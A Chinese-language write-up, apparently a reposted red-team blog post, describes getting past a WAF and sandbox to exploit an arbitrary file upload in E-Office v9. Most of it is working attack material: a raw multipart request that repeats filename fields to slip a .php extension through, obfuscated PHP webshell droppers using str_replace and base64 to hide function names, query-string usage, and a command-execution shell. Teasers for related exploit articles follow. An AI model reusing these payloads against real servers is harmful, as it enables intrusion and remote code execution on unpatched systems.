<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次PHP文件上傳WAF+沙盒繞過

    VSole2022-10-19 07:32:29

    正文

    打了一場護網遇到了好幾個這樣的環境,在這里記錄一下繞過過程。

    如下的為本地偽造環境,目標系統E-Office v9,存在任意文件上傳漏洞。

    首先需要繞過的是php的文件后綴,如下:

    POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1Host: 192.168.1.70User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Connection: closeAccept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348Content-Length: 2108Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
    --e64bdf16c554bbc109cecef6451c26a4Content-Disposition: form-data; name="file"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="2.phpContent-Type: image/jpeg
    2222
    --e64bdf16c554bbc109cecef6451c26a4--
    

    成功繞過了PHP后綴名的攔截,然后現在需要繞過內容的過濾了。首先是發現他并不支持 <? 這種段標簽的方式。

    雖然上傳成功,但是呢,沒辦法執行。

    然后還攔截一些常用的一些函數之類的,嘗試進行繞過

    但是!!!!!只要有 號就進行攔截。

    <?php file_put_contents   ('1.php'  ,    file_get_contents          (                  ' http://127.0.0.1/png.txt'  )        );
    

    然后嘗試了很多方式進行這個分號繞過,然后發現這樣子就不攔截。

    <?php 12321312file_put_contents   ('1.php'  ,    file_get_contents          (                  ' http://127.0.0.1/png.txt'  )        );
    

    最終確定為他是一個沙盒,就是 PHP 內容能被 php 語法支持的情況下就攔截,語法不支持的情況下就放行,那么繞過思路就有了。

    他默認返回的是:X-Powered-By: PHP/7.4.28,那么是否可以通過 PHP7.4 的特性來進行讓他沙盒報錯呢,從而達到繞過的效果,如下:

    然后就是寫木馬了,然后發現使用 file_get_contents 遠程下載文件為空,在想是不是不出網,使用另外一種方式。

    <?php 
    array_map(fn (User $user) => $user->id, $users);$a=str_replace('hhh','bas', $_GET[1]);
    file_put_contents   ($a($_GET[3])  ,      $a ( $a (            $_POST[a]         ) ) )        
    ;
    

    使用方式為:

    ?1=hhhe64_decode&3=dHR0LnBocA==&a=馬子內容雙層base64
    

    使用base64進行寫文件、但是發現寫了很多個木馬都連接不上,嘗試寫了一個 cmd 的木馬。

    <?phparray_map(fn (User $user) => $user->id, $users);$b=str_replace('ccc','bas', $_GET[2]);$b($b($_GET[1]))($b($_GET[3]));
    

    發現執行 whoami、ipconfig 都會卡30S以上,最終會執行成功,但是執行其他的就會直接被攔截死,最終通過黑加白的方式進行上線的。

    phppng
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    我們發現了一個路徑遍歷漏洞(CVE-2022-24716),該漏洞可被濫用以泄露服務器上的任何文件。它可以在沒有身份驗證和事先不知道用戶帳戶的情況下被利用。我們還發現了CVE-2022-24715,它會導致從管理界面執行任意PHP代碼。
    為了獲得根目錄,有一個二進制文件在沒有完整路徑的情況下調用popen,這使它容易受到路徑劫持攻擊。信息收集1.端口掃描發現存在22和80端口。>' 1.png 生成一個圖片馬,圖片在網上下一個.png格式的。發現直接上傳.png格式是無法上傳成功的,將其改成1.php.png格式。登錄之后,直接獲得了admin用戶密碼。成功找到第一個user.txt文件。
    常見6種WAF繞過和防護原理 本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔! 今天就聊聊關于上傳繞過WAF的姿勢,WAF(Web Application Firewall)簡單的來說就是執行一系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的一款產品。上傳繞過不算什么技術了,正所謂未知防,焉知攻,先來了解一下網站的防御措施吧!
    CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE
    本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔!????今天就聊聊關于上傳繞過WAF的姿勢,WAF簡單的來說就是執行一系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的一款產品。上傳繞過不算什么技術了,正所謂未知防,焉知攻,先來了解一下網站的防御措施吧!
    如果Web系統中存在服務器請求偽造漏洞,不僅會影響系統本身,而且會影響到與其相關的其他系統服務。一個被忽視的服務器請求偽造漏洞,很容易引起蝴蝶效應,可能給整個系統帶來長期的巨大危害。
    unserialize()函數能夠重新把字符串變回php原來的值。為了能夠unserialize()一個對象,這個對象的類必須已經定義過。如果序列化類A的一個對象,將會返回一個跟類A相關,而且包含了對象所有變量值的字符串。將對象格式化成有序的字符串。序列化的目的是方便數據的傳輸和存儲,在PHP中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。
    在Web系統中,允許用戶上傳文件作為一個基本功能是必不可少的,如論壇允許用戶上傳附件,多媒體網站允許用戶上傳圖片,視頻網站允許上傳頭像、視頻等。但如果不能正確地認識到上傳帶來的風險,不加防范,會給整個系統帶來毀滅性的災難。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类